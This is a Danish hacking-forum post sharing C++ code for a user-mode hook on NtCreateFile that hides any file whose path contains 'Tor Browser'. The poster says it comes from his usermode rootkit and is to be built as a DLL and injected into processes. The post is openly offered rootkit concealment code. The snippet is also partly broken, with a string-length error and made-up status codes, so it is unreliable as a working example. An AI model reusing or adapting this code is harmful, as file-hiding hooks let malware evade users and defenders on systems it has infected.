Denne side bruger cookies
Dette forum bruger cookies. Hvis du er registreret, bruges de til at huske hvem du er logget ind som. Hvis ikke, gemmer vi dit sidste besøgstidspunkt. Besøgstidspunktet bruges bl.a. til at holde øje med, hvilke tråde du allerede har læst. Cookies er små tekstdokumenter, som bliver gemt i din browser og udgør ingen sikkerhedsrisiko. Tryk "Mere Information" nedenfor, for en liste over de cookies vi sætter. Du har mulighed for at fravælge cookies ved at klikke på knappen "Blokér Cookies" i bunden af denne boks.

En ikke-personhenførbar cookie vil blive gemt i din browser, uanset dit valg (Medmindre du ikke foretager et). Således undgår du at blive spurgt igen. Du kan til enhver tid ændre dit valg via linket i bunden af siden.

Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
NtCreateFileNext Hook i C++
05-05-2017, 21:30 (Denne besked var sidst ændret: 27-05-2017, 18:44 af Abracadabra.)
#1
NtCreateFileNext Hook i C++
Denne kode skjuler en fil fuldstændigt, complie som et dynamisk library, du kan injekte den direkte ind i en process eller registry.
Vi tager brug af windows API'en til at gøre filen fuldstændigt skjult om så du prøver at vise skjulte filer, dette er noget kode jeg har skrevet til mit usermode rootkit.

Nyd det Smile

#define STATUS_SUCCESS 0x00000000
#define STATUS_ERROR   0xFFFFFFFF
#define FILE_DOES_NOT_EXIST    0x00000005
_NtCreateFileNext NtCreateFileNext = 0;
NTSTATUS NtCreateFileHooked( _Out_   PHANDLE FileHandle ,
_In_     ACCESS_MASK        DesiredAccess ,
_In_     POBJECT_ATTRIBUTES ObjectAttributes ,
_Out_    PIO_STATUS_BLOCK   IoStatusBlock ,
_In_opt_ PLARGE_INTEGER     AllocationSize ,
_In_     ULONG              FileAttributes ,
_In_     ULONG              ShareAccess ,
_In_     ULONG              CreateDisposition ,
_In_     ULONG              CreateOptions ,
_In_     PVOID              EaBuffer ,
_In_     ULONG              EaLength )
{
NTSTATUS status = NtCreateFileNext ( FileHandle , DesiredAccess , ObjectAttributes , IoStatusBlock ,
AllocationSize , FileAttributes , ShareAccess , CreateDisposition ,
CreateOptions  , EaBuffer , EaLength );
if ( status == STATUS_SUCCESS )
{
wchar_t * path = new wchar_t [ ObjectAttributes->ObjectName->Length + 1 ];
wmemcpy ( path , ObjectAttributes->ObjectName->Buffer , ObjectAttributes->ObjectName->Length );
if ( StrStrW( path , L"Tor Browser" ) )
{
std::wcout << L"-> " << path << std::endl;
IoStatusBlock->Information = FILE_DOES_NOT_EXIST;
IoStatusBlock->Status = STATUS_ERROR;
IoStatusBlock->Pointer = NULL;
return STATUS_ERROR;
}
}

return status;
}
xmpp: abracadabra@jabber.cz
Aldrig send en hare for at dræbe en ræv.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)